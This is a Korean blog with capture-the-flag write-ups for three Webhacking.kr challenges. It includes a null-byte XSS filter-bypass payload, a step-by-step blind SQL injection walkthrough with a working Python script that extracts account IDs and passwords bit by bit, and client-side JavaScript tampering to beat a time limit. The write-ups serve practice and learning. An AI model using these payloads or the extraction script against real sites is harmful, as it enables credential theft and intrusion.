Webhacking.kr 23번 문제 풀이
Webhacking.kr 23번 문제 풀이
23번 문제의 메인화면이다.
"너의 미션은 <script>alert(1);</scirpt> 구문을 삽입 하는 것이다" 라고 되어있다.
아마 위에 사진의 폼에 스크립트 구문을 삽입하여 제출하면 되는 모양이다.
아무래도 <script>alert(1);</script> 구문중 특정 부분에서 필터링이 걸리는 모양이다.
어떤 부분에서 필터링이 걸리는지 하나하나 값을 넣어 확인해 보자.
<> :가능
</ :가능
</>:가능
문자열을 2개이상 연결해 적으면 무조건 필터링 당함. 즉, script 문자 사용 불가
이정도의 결과를 유추했다.
그리고 여러가지 테스트를 하던도중 위 사진처럼 폼에 html 구문을 넣으면 자동으로 현재 페이지 코드에 삽입이 된다는 점을 알았다.
위 사진을 보면 알다시피 코드가 그대로 현재 페이지 코드에 삽입되어 동작한다.
그리고 form 태그를 확인해보면 code 변수를 통해 url에 get방식으로 전송이 가능하다.
현재 문자열을 2개이상 연결하면 필터링을 당하게된다. 그렇다면 get방식으로 code 변수에 값을 넣어 서버측에 전달이 가능하다면 s%00c%00r%00i%00p$00t%00 이런식으로 %00(null바이트) 를 전달하면 어떻게 될까?
최종 페이로드 : <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>
<script>alert(1);</script> 구문이 삽입 되었고 문제가 해결됬다.
200 Point Get :D
'Web Hacking > Web Hacking.kr' 카테고리의 다른 글
Webhacking.kr 25번 문제 풀이 (0) | 2017.07.10 |
---|---|
Webhacking.kr 24번 문제 풀이 (0) | 2017.07.10 |
Webhacking.kr 21번 문제 풀이 (2) | 2017.07.10 |
Webhacking.kr 20번 문제 풀이 (0) | 2017.07.07 |
Webhacking.kr 18번 문제 풀이 (0) | 2017.07.06 |
Webhacking.kr 21번 문제 풀이
Webhacking.kr 21번 문제 풀이
21번 문제에 접속화면 위와 같은 화면을 확인할 수 있다.
BLIND SQL INJECTION 문제라고 대놓고 이야기해준다.
TIP.Blind SQL Injection?
- SQL 질의에 공격 구문을 삽입하여 서버 사이드측에 영향을 주었을 경우 해당 질의가 거짓일 경우의 반응과 참일 경우의 반응을
파악해 공격을 하는 기법
메인 화면의 Blind SQL injection 문제라는걸 알려주는것 이외에 힌트는 없는것 같다.
본격적으로 문제 공략에 들어가도록 하자.
우선 참일경우의 서버 반응을 알아보기 위해 임의의 값을 입력해보자.
메인화면의 폼은 no 변수이며 GET방식으로 값을 전달한다. 그리고 1~2의 값을 입력하게 되면 Result 에 True 라고 출력되며, 그 이외의 수를 입력시 False 가 출력된다. 이를 통해 우리는 no 컬럼에 값은 1,2 가 존재하며 해당 서버는 참일 경우 True 를 출력하고 거짓일 경우 False를 출력한다는 것을 알게 되었다.
위 화면의 url을 확인하면 no 이외에 id와 pw 값을 GET방식으로 입력 받는다. 그렇다는 것은 해당 문제 DB에는 id 와 pw 컬럼이 존재 하며 no 컬럼의 값으로 1,2 가 존재하는것을 보아 2개의 계정이 존재한다는 것을 알 수 있다.
no id pw
1 ? ?
2 ? ?
아마 이런 형태의 테이블구조를 이루고 있을것이다.
먼저 id의 길이를 출력시켜보자.
길이를 구하는 함수 length 를 이용해 no =1의 id 길이를 구했다. no=2 도 동일하게 5에서 True 가 출력되었다.
no id pw
1 5글자 ?
2 5글자 ?
각 no의 id 길이는 알아냈으니 이제 어떤 문자가 존재하는지 알아보자.
ascii 와 substr 함수를 사용하여 id의 첫번째 글자를 찾아냈다.
ascii는 아스키코드를 참조하여 인자에 접근하는 함수이며, 위 사진의 페이로드에서 103은 아스키코드상에서 g를 의미한다.
substr은 글자를 잘라서 출력할 수 있는데 위 사진의 페이로드상으로 id 컬럼의 결과값에서 첫번째 글자를 출력하는 구문이다.
substr(id,2,1) 을 입력하면 2번째 글자를 출력, 3,1은 3번째 글자 이런식으로 값을 하나하나 5자리 찾을 수 있다.
결론은 no=1의 id 첫글자는 "g" 라는 것이다.
하지만 이렇게 아스키코드 표의 십진수를 참조하면 id의 각자리마다 A(81) ~ z(122) 까지 총 41번을 반복해야 하는데 이것은 매우 비효율적이다.
그러므로 우리는 비트연산을 이용해 id의 값을 뽑아내보자.
비트연산이란 위 그림을 참조하면 "g"의 아스키코드 비트를 1,2,4,8,16,32,64 총 7번 체크하고 해당 비트에 대한 결과가 참이면 1을 거짓이면 0 을 출력한다. 이렇게 참인 값들은 전부 더하면 "1+2+4+32+64 = 103" 즉, 아스키표로 g를 의미하는 결과가 나온다.
비트연산을 사용하면 이렇게 41번을 반복해야할 공격을 7번으로 줄여준다. 하지만 총 5글자의 id를, 각자리마다 7번씩 5번 반복하는것 역시 여전히 비효율적이다.
그러므로 파이썬을 이용해 비트연산코드를 작성후 실행시켜보자.
#-*- coding:utf-8 -*-
import urllib2
count=1
to_find="True</b>"
var=20
def attack(count,bit):
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=-1+or+no%%3D1+and+ascii%%28substr%%28id%%2C%d%%2C1%%29%%29%%26%d%%3D%d&id=&pw=" % (count,bit,bit)
req = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
req.add_header("Cookie", "PHPSESSID=(webhacking.kr쿠키입력)")
read = urllib2.urlopen(req).read()
return read
length=5
print "id : ",
while 1:
if count == length + 1:
exit(0)
bit=pow(2,7)
count_false=0
str_num=0
while bit>=1:
result=attack(count,bit)
if to_find in result:
str_num += bit
else:
count_false +=1
bit /=2
if count_false >= 7:
exit(0)
print unichr(str_num),
count +=1
해당 코드를 출력시켜보자 #코드에 대한 해석이 필요하면 덧글로 물어보자!
no=1의 5자리인 id 값이 출력되었다. 같은 소스를 no=1 부분을 no=2로 수정후 출력하면 no=2의 id 값역시 출력된다.
no id pw
1 5자리id ?
2 5자리id ?
현재까지 알아낸 사항
이제 length 함수를 이용해 no=1 과 no=2의 pw 길이를 알아보자.
no=1 의 pw 길이는 5
no=2 의 pw 길이는 19
no id pw
1 5자리id 5자리
2 5자리id 19자리
길이를 구했다면 위의 비트연산 파이썬 코드를 사용하면 pw 값을 출력하는것은 식은 죽 마시기다.
no=1의 pw결과 값 출력
no=2의 pw결과 값 출력
no id pw
1 5자리id 5자리pw
2 5자리id 19자리pw
이렇게 테이블을 완성했다.
도출된 pw값중 하나를 auth에 입력하면 문제가 풀린다!
250 Point Get :D
'Web Hacking > Web Hacking.kr' 카테고리의 다른 글
Webhacking.kr 24번 문제 풀이 (0) | 2017.07.10 |
---|---|
Webhacking.kr 23번 문제 풀이 (0) | 2017.07.10 |
Webhacking.kr 20번 문제 풀이 (0) | 2017.07.07 |
Webhacking.kr 18번 문제 풀이 (0) | 2017.07.06 |
Webhacking.kr 17번 문제 풀이 (0) | 2017.07.06 |
Webhacking.kr 20번 문제 풀이
Webhacking.kr 20번 문제 풀이
20번 문제에 접속하면 위와 같은 화면이 출력된다.
문제를 보면 nickname,comment 폼에는 우리가 임의의 값을 입력하면 되는것 같은데 code 폼에서는 바로 우측에
무작위로 배치된 알파벳을 입력하고 submit 해야하는 모양이다.
이 무작위로 배치된 알파벳은 새로고침시 계속 변경되기 때문에 복사를 해도 의미가 없다.
그리고 우측 상단에 "time limit : 2" 라는 문구가 있는데 이것의 의미는 2초 이내로 해당 문제의 폼에 적절한 값을 넣어
submit 하라는 의미인것 같다. 그리고 해당 코드가 실제로 구현되어 동작되고 있는 것 같다.
정리 하자면 2초안에 nickname, comment 폼에는 임의의 값을 , code 부분에는 무작위로 생성된 알파벳 값을 입력하고 submit
하면 문제를 공략하게 될것이다. 하지만 우리가 nickname과 comment 폼에 값을 채우고 무작위로 배치된 알파벳을 code 폼에
입력하고 submit을 하기에 2초라는 시간은 부족하다.
힌트를 얻기 위해 우선 페이지 소스를 확인해보자
소스를 보면 위의 자바스크립트 코드가 존재한다. 코드를 해석해보자
function ck() #ck 함수 선언
{
if(lv5frm.id.value=="") { lv5frm.id.focus(); return; } #id(nickname폼)의 값이 빈값이면 id폼으로 커서가 이동
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; } #cmd(comment 폼)의 값이 빈값이면 comment폼으로 커서가 이동
if(lv5frm.hack.value=="") { lv5frm.hack.focus(); return; } #hack(code폼)의 값이 빈값이면 code 폼으로 커서가 이동
if(lv5frm.hack.value!=lv5frm.attackme.value) { lv5frm.hack.focus(); return; } #hack(code폼)의 값과 attacke me(무작위 알파벳) 의 값이 같지 않으면 code 폼으로 커서가 이동
lv5frm.submit(); #submit
}
해당코드를 해석한 내용을 참조하면 단순히 각 폼에 입력된 값이 빈값인지, code폼에 입력한값과 무작위 알파벳의 값이 같은지를
확인하는 코드인것 같다.
하지만 <script> 태그는 클라이언트측에서 변조가 가능하기 때문에 위의 코드를 변조해 문제 공략에 사용해보자
코드를 위와 같이 변조했다. nickname,comment 폼에 바로 임의의 값을 저장, code 폼에 무작위 알파벳을 저장하게끔
변조 하였다. 위의 코드를 복사해 새로고침(F5)를 눌러 time limit를 초기화 시키고 크롬의 콘솔 기능을 이용해 변조 코드를
전달하면 어떻게 될까?
콘솔 기능을 통해 변조 코드 전달.
성공적으로 2초이내로 문제에서 원하는 입력 값을 모두 전달하여 문제 공략에 성공했다.
200 Point 획득 :D
'Web Hacking > Web Hacking.kr' 카테고리의 다른 글
Webhacking.kr 23번 문제 풀이 (0) | 2017.07.10 |
---|---|
Webhacking.kr 21번 문제 풀이 (2) | 2017.07.10 |
Webhacking.kr 18번 문제 풀이 (0) | 2017.07.06 |
Webhacking.kr 17번 문제 풀이 (0) | 2017.07.06 |
Webhacking.kr 16번 문제 풀이 (0) | 2017.07.06 |